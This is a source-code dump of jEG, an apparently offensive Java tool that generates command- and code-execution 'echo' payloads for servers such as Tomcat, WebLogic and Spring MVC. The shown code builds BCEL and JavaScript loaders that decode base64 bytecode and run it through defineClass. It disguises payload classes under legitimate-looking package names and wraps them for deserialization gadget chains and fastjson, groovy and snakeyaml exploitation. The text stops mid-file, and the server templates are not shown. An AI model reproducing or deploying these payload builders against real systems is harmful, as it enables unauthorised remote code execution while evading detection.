├── LICENSE ├── README.md ├── jeg-common ├── pom.xml └── src │ └── main │ └── java │ └── jeg │ └── common │ ├── config │ ├── Config.java │ └── Constants.java │ ├── format │ ├── BASE64Formatter.java │ ├── BCELFormatter.java │ ├── BigIntegerFormatter.java │ ├── IFormatter.java │ ├── JARFormatter.java │ └── JavaScriptFormatter.java │ └── util │ ├── Base64Util.java │ ├── ClassUtil.java │ ├── FileUtil.java │ ├── GadgetUtil.java │ ├── HeaderUtil.java │ ├── JavassistUtil.java │ ├── RandomUtil.java │ └── ReflectionUtil.java ├── jeg-core ├── pom.xml └── src │ ├── main │ └── java │ │ └── jeg │ │ └── core │ │ ├── config │ │ ├── jEGConfig.java │ │ └── jEGConstants.java │ │ ├── jEGenerator.java │ │ ├── template │ │ ├── all │ │ │ ├── DFSCmdExecTpl.java │ │ │ └── DFSCodeExecTpl.java │ │ ├── bes │ │ │ ├── BESCmdExecTpl.java │ │ │ └── BESCodeExecTpl.java │ │ ├── inforsuite │ │ │ ├── InforSuiteCmdExecTpl.java │ │ │ └── InforSuiteCodeExecTpl.java │ │ ├── jetty │ │ │ ├── JettyCmdExecTpl.java │ │ │ └── JettyCodeExecTpl.java │ │ ├── resin │ │ │ ├── ResinCmdExecTpl.java │ │ │ └── ResinCodeExecTpl.java │ │ ├── springmvc │ │ │ ├── SpringMVCCmdExecTpl.java │ │ │ └── SpringMVCCodeExecTpl.java │ │ ├── struts2 │ │ │ ├── Struts2CmdExecTpl.java │ │ │ └── Struts2CodeExecTpl.java │ │ ├── tomcat │ │ │ ├── TomcatCmdExecTpl.java │ │ │ └── TomcatCodeExecTpl.java │ │ ├── tongweb │ │ │ ├── TongWebCmdExecTpl.java │ │ │ └── TongWebCodeExecTpl.java │ │ ├── undertow │ │ │ ├── UndertowCmdExecTpl.java │ │ │ └── UndertowCodeExecTpl.java │ │ ├── weblogic │ │ │ ├── WebLogicCmdExecTpl.java │ │ │ └── WebLogicCodeExecTpl.java │ │ └── websphere │ │ │ ├── WebSphereCmdExecTpl.java │ │ │ └── WebSphereCodeExecTpl.java │ │ └── util │ │ └── TemplateUtil.java │ └── test │ └── java │ └── GeneratorTest.java ├── jeg-docs ├── 1.0.0 │ ├── README.md │ └── img │ │ ├── 1708843903204.png │ │ ├── 1708843933258.png │ │ ├── 1708843968446.png │ │ ├── 1708843998491.png │ │ ├── 1708844009402.png │ │ ├── 1708844020638.png │ │ ├── 1708844053138.png │ │ └── 1708844074999.png ├── README_EN.md └── img │ ├── gui.png │ └── woodpecker-plugin.png ├── jeg-gui ├── pom.xml └── src │ └── main │ ├── java │ └── jeg │ │ └── gui │ │ ├── form │ │ ├── jEGForm.form │ │ └── jEGForm.java │ │ ├── jEGApp.java │ │ └── util │ │ ├── ComponentUtil.java │ │ └── TextPaneUtil.java │ └── resources │ ├── messages_en.properties │ ├── messages_en.properties.bak │ ├── messages_zh.properties │ └── messages_zh.properties.bak ├── jeg-woodpecker ├── pom.xml └── src │ └── main │ └── java │ └── me │ └── gv7 │ └── woodpecker │ ├── helper │ └── jEGHelper.java │ └── plugin │ └── WoodpeckerPluginManager.java └── pom.xml /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 pen4uin 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

English | 中文

2 |

3 |

Java Echo Generator

4 |
5 | GitHub watchers 6 | GitHub forks 7 | GitLab Stars 8 |
9 |
一款支持高度自定义的 Java 回显载荷生成工具
10 |

11 | 12 |
13 | 14 | > [!WARNING] 15 | > 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。 16 | 17 |
18 | 19 | ## 功能 20 | 21 | | 中间件 | 框架 | 执行模式 | 输出格式 | 22 | |-----------------|-----------|---------|------------| 23 | | Tomcat | SpringMVC | Command | BASE64 | 24 | | Resin | Struts2 | Code | BCEL | 25 | | WebLogic | | | BIGINTEGER | 26 | | Jetty | | | CLASS | 27 | | WebSphere | | | JAR | 28 | | Undertow | | | JS | 29 | | GlassFish | | | | 30 | | BES(宝兰德) | | | | 31 | | InforSuite(中创) | | | | 32 | | TongWeb(东方通) | | | | 33 | 34 | 35 | 36 | 37 | ## 编译 38 | 39 | ```shell 40 | mvn package assembly:single 41 | ``` 42 | 43 | ## 使用 44 | 45 | **图形化** 46 | 47 | 1. 下载 jEG-GUI-1.0.0.jar 运行即可 48 | 49 | ![image-20230928161217950](./jeg-docs/img/gui.png) 50 | 51 | **Woodpecker 插件** 52 | 53 | 1. 下载 jEG-Woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可 54 | 55 | ![image-20230928153330494](./jeg-docs/img/woodpecker-plugin.png) 56 | 57 | **第三方库** 58 | 59 | 1. 下载 jEG-Core-1.0.0.jar 并安装到本地 maven 仓库 60 | 61 | ``` 62 | mvn install:install-file -Dfile=jEG-Core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar 63 | ``` 64 | 65 | 2. 引入自己的框架/工具的依赖中 66 | 67 | ``` 68 | 69 | jeg 70 | jeg-core 71 | 1.0.0 72 | 73 | ``` 74 | 75 | 3. 调用 API 生成需要的回显载荷即可 76 | 77 | ``` 78 | // 基本配置 79 | jEGConfig config = new jEGConfig() {{ 80 | // 设置待回显的中间件为 tomcat 81 | setServerType(Constants.SERVER_TOMCAT); 82 | // 设置待执行的 payload 为命令执行回显 83 | setModelType(Constants.MODEL_CMD); 84 | // 设置 payload 的输出格式为 BASE64 85 | setFormatType(Constants.FORMAT_BASE64); 86 | // 初始化基础配置 87 | build(); 88 | }}; 89 | // 生成 payload 90 | jEGenerator generator = new jEGenerator(config); 91 | System.out.println("请求头: " + config.getReqHeaderName()); 92 | System.out.println(generator.getPayload()); 93 | ``` 94 | 95 | ## 文档 96 | 97 | - [jEG v1.0.0 - 高度自定义的 Java 回显生成工具](./jeg-docs/1.0.0/) 98 | 99 | ## 致谢 100 | 101 | - https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/ 102 | - https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327 103 | - https://github.com/feihong-cs/Java-Rce-Echo 104 | 105 | ## 协议 106 | 107 | - MIT -------------------------------------------------------------------------------- /jeg-common/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jeg 6 | java-echo-generator 7 | ${reversion} 8 | 9 | jEG-common 10 | 11 | ${artifactId}-${reversion} 12 | 13 | 14 | 15 | 16 | me.gv7.woodpecker 17 | woodpecker-bcel 18 | 0.1.0 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/config/Config.java: -------------------------------------------------------------------------------- 1 | package jeg.common.config; 2 | 3 | public class Config { 4 | private String serverType; 5 | private String formatType; 6 | private String gadgetType; 7 | private String loaderClassName; 8 | private String classNameInFormatter; 9 | private byte[] classBytesInFormatter; 10 | private String classBase64InFormatter; 11 | 12 | public String getOutputDir() { 13 | return outputDir; 14 | } 15 | 16 | public void setOutputDir(String outputDir) { 17 | this.outputDir = outputDir; 18 | } 19 | 20 | private String outputDir; 21 | public String getLoaderClassName() { 22 | return loaderClassName; 23 | } 24 | 25 | public void setLoaderClassName(String loaderClassName) { 26 | this.loaderClassName = loaderClassName; 27 | } 28 | 29 | public String getClassNameInFormatter() { 30 | return classNameInFormatter; 31 | } 32 | 33 | public void setClassNameInFormatter(String classNameInFormatter) { 34 | this.classNameInFormatter = classNameInFormatter; 35 | } 36 | 37 | public byte[] getClassBytesInFormatter() { 38 | return classBytesInFormatter; 39 | } 40 | 41 | public void setClassBytesInFormatter(byte[] classBytesInFormatter) { 42 | this.classBytesInFormatter = classBytesInFormatter; 43 | } 44 | 45 | public String getClassBase64InFormatter() { 46 | return classBase64InFormatter; 47 | } 48 | 49 | public void setClassBase64InFormatter(String classBase64InFormatter) { 50 | this.classBase64InFormatter = classBase64InFormatter; 51 | } 52 | 53 | 54 | 55 | public String getServerType() { 56 | return serverType; 57 | } 58 | 59 | public void setServerType(String serverType) { 60 | this.serverType = serverType; 61 | } 62 | 63 | public String getFormatType() { 64 | return formatType; 65 | } 66 | 67 | public void setFormatType(String formatType) { 68 | this.formatType = formatType; 69 | } 70 | 71 | public String getGadgetType() { 72 | return gadgetType; 73 | } 74 | 75 | public void setGadgetType(String gadgetType) { 76 | this.gadgetType = gadgetType; 77 | } 78 | 79 | public boolean isImplementsASTTransformationType() { 80 | return implementsASTTransformationType; 81 | } 82 | 83 | public void setImplementsASTTransformationType(boolean implementsASTTransformationType) { 84 | this.implementsASTTransformationType = implementsASTTransformationType; 85 | } 86 | 87 | public boolean isImplementsScriptEngineFactory() { 88 | return implementsScriptEngineFactory; 89 | } 90 | 91 | public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) { 92 | this.implementsScriptEngineFactory = implementsScriptEngineFactory; 93 | } 94 | 95 | private boolean implementsASTTransformationType = false; 96 | private boolean implementsScriptEngineFactory = false; 97 | 98 | } 99 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/config/Constants.java: -------------------------------------------------------------------------------- 1 | package jeg.common.config; 2 | 3 | public interface Constants { 4 | 5 | String FORMAT_CLASS = "CLASS"; 6 | String FORMAT_BCEL = "BCEL"; 7 | String FORMAT_JSP = "JSP"; 8 | String FORMAT_JAR = "JAR"; 9 | String FORMAT_JS = "JS"; 10 | String FORMAT_BASE64 = "BASE64"; 11 | String FORMAT_BIGINTEGER = "BIGINTEGER"; 12 | 13 | String GADGET_NONE = "NONE"; 14 | String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet"; 15 | String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet"; 16 | 17 | String SERVER_TOMCAT = "Tomcat"; 18 | String SERVER_JETTY = "Jetty"; 19 | String SERVER_RESIN = "Resin"; 20 | String SERVER_SPRING_MVC = "SpringMVC"; 21 | String SERVER_STRUTS2 = "Struts2"; 22 | String SERVER_UNDERTOW = "Undertow"; 23 | String SERVER_WEBLOGIC = "WebLogic"; 24 | String SERVER_WEBSPHERE = "WebSphere"; 25 | String SERVER_BES = "BES"; 26 | String SERVER_INFORSUITE = "InforSuite"; 27 | String SERVER_TONGWEB = "TongWeb"; 28 | String SERVER_UNKNOWN = "Unknown"; 29 | } 30 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/format/BASE64Formatter.java: -------------------------------------------------------------------------------- 1 | package jeg.common.format; 2 | 3 | import jeg.common.config.Config; 4 | import jeg.common.util.Base64Util; 5 | 6 | public class BASE64Formatter implements IFormatter { 7 | @Override 8 | public byte[] transform(byte[] bytes, Config config) throws Exception { 9 | return Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "").getBytes(); 10 | } 11 | } -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/format/BCELFormatter.java: -------------------------------------------------------------------------------- 1 | package jeg.common.format; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtMethod; 7 | import jeg.common.config.Config; 8 | import jeg.common.util.Base64Util; 9 | import jeg.common.util.ClassUtil; 10 | import jeg.common.util.JavassistUtil; 11 | import me.gv7.woodpecker.bcel.HackBCELs; 12 | 13 | import java.io.IOException; 14 | import java.lang.reflect.Method; 15 | 16 | public class BCELFormatter implements IFormatter { 17 | public byte[] transform(byte[] bytes, Config config) throws IOException { 18 | ClassPool pool = ClassPool.getDefault(); 19 | ClassClassPath classPath = new ClassClassPath(BCELoader.class); 20 | pool.insertClassPath(classPath); 21 | CtClass ctClass; 22 | byte[] bcelLoaderBytes = new byte[0]; 23 | try { 24 | ctClass = pool.getCtClass(BCELoader.class.getName()); 25 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); 26 | getBase64String.setBody(String.format("{return \"%s\";}", Base64Util.encodeToBase64(config.getClassBytesInFormatter()))); 27 | CtMethod getClassName = ctClass.getDeclaredMethod("getClassName"); 28 | getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInFormatter())); 29 | ctClass.setName(ClassUtil.getRandomClassName()); 30 | ctClass.getClassFile().setVersionToJava5(); 31 | JavassistUtil.removeSourceFileAttribute(ctClass); 32 | bcelLoaderBytes = ctClass.toBytecode(); 33 | ctClass.detach(); 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | } 37 | return HackBCELs.encode(bcelLoaderBytes).getBytes(); 38 | } 39 | } 40 | 41 | class BCELoader extends ClassLoader { 42 | 43 | public String getClassName() { 44 | return ""; 45 | } 46 | 47 | 48 | public String getBase64String() throws IOException { 49 | return ""; 50 | } 51 | 52 | public BCELoader() throws Exception { 53 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 54 | ; 55 | try { 56 | classLoader.loadClass(getClassName()).newInstance(); 57 | } catch (Exception var1) { 58 | try { 59 | byte[] classBytes = base64Decode(getBase64String()); 60 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 61 | defineClassMethod.setAccessible(true); 62 | Class clazz = (Class) defineClassMethod.invoke(classLoader, classBytes, 0, classBytes.length); 63 | clazz.newInstance(); 64 | } catch (Exception var2) { 65 | } 66 | } 67 | } 68 | 69 | public static byte[] base64Decode(String str) throws Exception { 70 | try { 71 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 72 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); 73 | } catch (Exception var5) { 74 | Class clazz = Class.forName("java.util.Base64"); 75 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); 76 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); 77 | } 78 | } 79 | } 80 | 81 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/format/BigIntegerFormatter.java: -------------------------------------------------------------------------------- 1 | package jeg.common.format; 2 | 3 | import jeg.common.config.Config; 4 | 5 | import java.io.IOException; 6 | import java.math.BigInteger; 7 | 8 | public class BigIntegerFormatter implements IFormatter { 9 | @Override 10 | public byte[] transform(byte[] bytes, Config config) throws IOException { 11 | return new BigInteger(bytes).toString(36).getBytes(); 12 | } 13 | } -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/format/IFormatter.java: -------------------------------------------------------------------------------- 1 | package jeg.common.format; 2 | 3 | import jeg.common.config.Config; 4 | 5 | public interface IFormatter { 6 | public byte[] transform(byte[] bytes, Config config) throws Exception; 7 | } 8 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/format/JARFormatter.java: -------------------------------------------------------------------------------- 1 | package jeg.common.format; 2 | 3 | import jeg.common.config.Config; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.IOException; 7 | import java.nio.charset.StandardCharsets; 8 | import java.util.jar.JarEntry; 9 | import java.util.jar.JarOutputStream; 10 | import java.util.jar.Manifest; 11 | 12 | public class JARFormatter implements IFormatter { 13 | public byte[] transform(byte[] bytes, Config config) throws IOException { 14 | String className = config.getClassNameInFormatter(); 15 | String jarEntryFileName = className.replace(".", "/") + ".class"; 16 | 17 | Manifest manifest = new Manifest(); 18 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); 19 | 20 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 21 | try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) { 22 | jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName)); 23 | jarOutputStream.write(bytes); 24 | jarOutputStream.closeEntry(); 25 | 26 | // fastjson + groovy 的利用 27 | if (config.isImplementsASTTransformationType()) { 28 | String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation"; 29 | JarEntry entry = new JarEntry(entryName); 30 | jarOutputStream.putNextEntry(entry); 31 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); 32 | jarOutputStream.closeEntry(); 33 | } 34 | 35 | // snakeyaml + loadJar 的利用 36 | if (config.isImplementsScriptEngineFactory()) { 37 | String entryName = "META-INF/services/javax.script.ScriptEngineFactory"; 38 | JarEntry entry = new JarEntry(entryName); 39 | jarOutputStream.putNextEntry(entry); 40 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); 41 | jarOutputStream.closeEntry(); 42 | } 43 | } 44 | 45 | return out.toByteArray(); 46 | } 47 | } -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/format/JavaScriptFormatter.java: -------------------------------------------------------------------------------- 1 | package jeg.common.format; 2 | 3 | import jeg.common.config.Config; 4 | import jeg.common.util.Base64Util; 5 | 6 | public class JavaScriptFormatter implements IFormatter { 7 | public byte[] transform(byte[] bytes, Config config) throws Exception { 8 | String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + 9 | "try{\n" + 10 | " classLoader.loadClass(\""+ config.getClassNameInFormatter() +"\").newInstance();\n" + 11 | "}catch (e){\n" + 12 | " var clsString = classLoader.loadClass('java.lang.String');\n" + 13 | " var bytecodeBase64 = \""+ Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "") + "\";\n" + 14 | " var bytecode;\n" + 15 | " try{\n" + 16 | " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" + 17 | " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + 18 | " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" + 19 | " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" + 20 | " } catch (ee) {\n" + 21 | " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + 22 | " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" + 23 | " }\n" + 24 | " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" + 25 | " var clsByteArray = classLoader.loadClass('[B');\n" + 26 | " var clsInt = java.lang.Integer.TYPE;\n" + 27 | " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" + 28 | " defineClass.setAccessible(true);\n" + 29 | " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" + 30 | " clazz.newInstance();\n" + 31 | "}"; 32 | return strJS.getBytes(); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/util/Base64Util.java: -------------------------------------------------------------------------------- 1 | package jeg.common.util; 2 | 3 | public class Base64Util { 4 | 5 | public static String encodeToBase64(byte[] input) throws Exception { 6 | String value = null; 7 | Class base64; 8 | try { 9 | base64 = Class.forName("java.util.Base64"); 10 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); 11 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input); 12 | } catch (Exception var6) { 13 | try { 14 | base64 = Class.forName("sun.misc.BASE64Encoder"); 15 | Object Encoder = base64.newInstance(); 16 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input); 17 | } catch (Exception var5) { 18 | } 19 | } 20 | return value; 21 | } 22 | 23 | public static String decodeFromBase64(String input) throws Exception { 24 | byte[] var2 = null; 25 | 26 | Class var1; 27 | try { 28 | var1 = Class.forName("java.util.Base64"); 29 | Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null); 30 | var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input)); 31 | } catch (Exception var6) { 32 | try { 33 | var1 = Class.forName("sun.misc.BASE64Decoder"); 34 | Object var4 = var1.newInstance(); 35 | var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input)); 36 | } catch (Exception var5) { 37 | } 38 | } 39 | 40 | return new String(var2); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/util/ClassUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.common.util; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | import java.util.Random; 6 | 7 | public class ClassUtil { 8 | static String[] classNames = { 9 | "NetworkUtils", 10 | "KeyUtils", 11 | "EncryptionUtils", 12 | "SessionDataUtil", 13 | "SOAPUtils", 14 | "ReflectUtil", 15 | "HttpClientUtil", 16 | "EncryptionUtil", 17 | "XMLUtil", 18 | "JSONUtil", 19 | "FileUtils", 20 | "DateUtil", 21 | "StringUtil", 22 | "MathUtil", 23 | "HttpUtil", 24 | "CSVUtil" 25 | }; 26 | private static final String[] packageNames = { 27 | "org.springframework", 28 | "org.apache.logging", 29 | "org.apache", 30 | "com.fasterxml.jackson", 31 | "org.junit", 32 | "org.apache.commons.lang", 33 | "com.google.gso", 34 | "ch.qos.logback" 35 | }; 36 | 37 | public static String generatePackageName(String[] packageNames) { 38 | Random random = new Random(); 39 | String packageName = packageNames[random.nextInt(packageNames.length)]; 40 | return packageName; 41 | } 42 | 43 | 44 | public static String getRandomPackageName(String[] packageNames) { 45 | return generatePackageName(packageNames); 46 | } 47 | 48 | public static String getRandomName(String[]... arrays) { 49 | List classNames = new ArrayList<>(); 50 | for (String[] array : arrays) { 51 | for (String className : array) { 52 | classNames.add(className); 53 | } 54 | } 55 | Random random = new Random(); 56 | int index = random.nextInt(classNames.size()); 57 | return classNames.get(index); 58 | } 59 | 60 | 61 | public static String generateRandomString() { 62 | Random random = new Random(); 63 | StringBuilder sb = new StringBuilder(); 64 | int length = random.nextInt(5) + 2; // 生成2-6之间的随机数 65 | for (int i = 0; i < length; i++) { 66 | char c = (char) (random.nextInt(26) + 'a'); 67 | sb.append(c); 68 | } 69 | return sb.toString(); 70 | } 71 | 72 | public static String getRandomClassName() { 73 | 74 | return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames); 75 | } 76 | 77 | public static String getRandomLoaderClassName() { 78 | 79 | return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames); 80 | } 81 | 82 | public static String getSimpleName(String className) { 83 | int lastDotIndex = className.lastIndexOf("."); 84 | if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) { 85 | return className.substring(lastDotIndex + 1); 86 | } 87 | return className; 88 | } 89 | 90 | } 91 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/util/FileUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.common.util; 2 | 3 | import java.io.*; 4 | 5 | public class FileUtil { 6 | public static void writeFile(String filePath, byte[] bytes) throws IOException { 7 | OutputStream out = new FileOutputStream(filePath); 8 | InputStream is = new ByteArrayInputStream(bytes); 9 | byte[] buff = new byte[1024]; 10 | int len; 11 | while((len = is.read(buff)) != -1) { 12 | out.write(buff, 0, len); 13 | } 14 | 15 | is.close(); 16 | out.close(); 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/util/GadgetUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.common.util; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 4 | import javassist.*; 5 | import jeg.common.config.Constants; 6 | import jeg.common.config.Config; 7 | 8 | public class GadgetUtil { 9 | private Config config; 10 | private ClassPool pool; 11 | private CtClass modifiedClass; 12 | 13 | public GadgetUtil(Config config, ClassPool pool, CtClass modifiedClass) { 14 | this.config = config; 15 | this.pool = pool; 16 | this.modifiedClass = modifiedClass; 17 | } 18 | 19 | public byte[] modify() throws Exception { 20 | byte[] classBytes = null; 21 | if (pool != null && modifiedClass != null) { 22 | if (config.getGadgetType().contains(Constants.GADGET_JDK_TRANSLET)) { 23 | applyJDKAbstractTranslet(); 24 | } 25 | 26 | if (config.getGadgetType().contains(Constants.GADGET_XALAN_TRANSLET)) { 27 | applyXALANAbstractTranslet(); 28 | } 29 | modifiedClass.getClassFile().setVersionToJava5(); 30 | classBytes = modifiedClass.toBytecode(); 31 | modifiedClass.defrost(); 32 | } else { 33 | throw new Exception("pool or modifiedClass is null"); 34 | } 35 | return classBytes; 36 | } 37 | 38 | 39 | public void applyJDKAbstractTranslet() throws NotFoundException, CannotCompileException { 40 | pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); 41 | modifiedClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); 42 | } 43 | 44 | 45 | public void applyXALANAbstractTranslet() throws NotFoundException, CannotCompileException, ClassNotFoundException { 46 | try { 47 | pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet"); 48 | } catch (NotFoundException e) { 49 | pool.makeClass("org.apache.xalan.xsltc.runtime.AbstractTranslet"); 50 | } 51 | modifiedClass.setSuperclass(pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet")); 52 | } 53 | 54 | } 55 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/util/HeaderUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.common.util; 2 | 3 | import java.util.Random; 4 | 5 | public class HeaderUtil { 6 | 7 | private static final Random RANDOM = new Random(); 8 | 9 | 10 | public static String genHeaderName(String[] keys) { 11 | String key = genRandomKey(keys); 12 | return key + genRandomSuffix(); 13 | } 14 | 15 | private static String genRandomKey(String[] keys) { 16 | return keys[RANDOM.nextInt(keys.length)]; 17 | } 18 | 19 | private static String genRandomSuffix() { 20 | StringBuilder sb = new StringBuilder(); 21 | int length = RANDOM.nextInt(9) + 4; // 生成4-10之间长度的随机字符串 22 | for (int i = 0; i < length; i++) { 23 | char c = (char) (RANDOM.nextInt(26) + 'a'); 24 | if (i == 0) { 25 | c = Character.toUpperCase(c); 26 | } 27 | sb.append(c); 28 | } 29 | return sb.toString(); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /jeg-common/src/main/java/jeg/common/util/JavassistUtil.java: -------------------------------------------------------------------------------- 1 | package jeg.common.util; 2 | 3 | import javassist.*; 4 | import javassist.bytecode.AttributeInfo; 5 | import javassist.bytecode.ClassFile; 6 | import javassist.bytecode.SourceFileAttribute; 7 | 8 | import java.util.List; 9 | 10 | /** 11 | * javassist 工具类 12 | */ 13 | public class JavassistUtil { 14 | 15 | private static ClassPool pool = ClassPool.getDefault(); 16 | 17 | public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception { 18 | ctClass.defrost(); 19 | try { 20 | // 已存在,修改 21 | CtMethod ctMethod = ctClass.getDeclaredMethod(methodName); 22 | ctMethod.setBody(methodBody); 23 | } catch (NotFoundException ignored) { 24 | // 不存在,直接添加 25 | CtMethod method = CtNewMethod.make(methodBody, ctClass); 26 | ctClass.addMethod(method); 27 | } 28 | } 29 | 30 | 31 | public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { 32 | ctClass.defrost(); 33 | try { 34 | CtField field = ctClass.getDeclaredField(fieldName); 35 | ctClass.removeField(field); 36 | try { 37 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); 38 | defField.setModifiers(Modifier.PUBLIC); 39 | ctClass.addField(defField, "\"" + fieldValue + "\""); 40 | } catch (Exception e) { 41 | throw new RuntimeException(e); 42 | } 43 | 44 | } catch (NotFoundException ignored) { 45 | try { 46 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); 47 | defField.setModifiers(Modifier.STATIC); 48 | ctClass.addField(defField, "\"" + fieldValue + "\""); 49 | } catch (Exception e) { 50 | throw new RuntimeException(e); 51 | } 52 | } 53 | } 54 | 55 | public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { 56 | ctClass.defrost(); 57 | try { 58 | CtField field = ctClass.getDeclaredField(fieldName); 59 | ctClass.removeField(field); 60 | try { 61 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); 62 | defField.setModifiers(Modifier.PUBLIC); 63 | defField.setModifiers(Modifier.STATIC); 64 | ctClass.addField(defField, "\"" + fieldValue + "\""); 65 | } catch (Exception e) { 66 | throw new RuntimeException(e); 67 | } 68 | 69 | } catch (NotFoundException ignored) { 70 | try { 71 | CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); 72 | defField.setModifiers(Modifier.STATIC); 73 | ctClass.addField(defField, "\"" + fieldValue + "\""); 74 | } catch (Exception e) { 75 | throw new RuntimeException(e); 76 | } 77 | } 78 | } 79 | 80 | 81 | // 删除 SourceFileAttribute (源文件名) 信息 82 | public static void removeSourceFileAttribute(CtClass ctClass) { 83 | ctClass.defrost(); 84 | 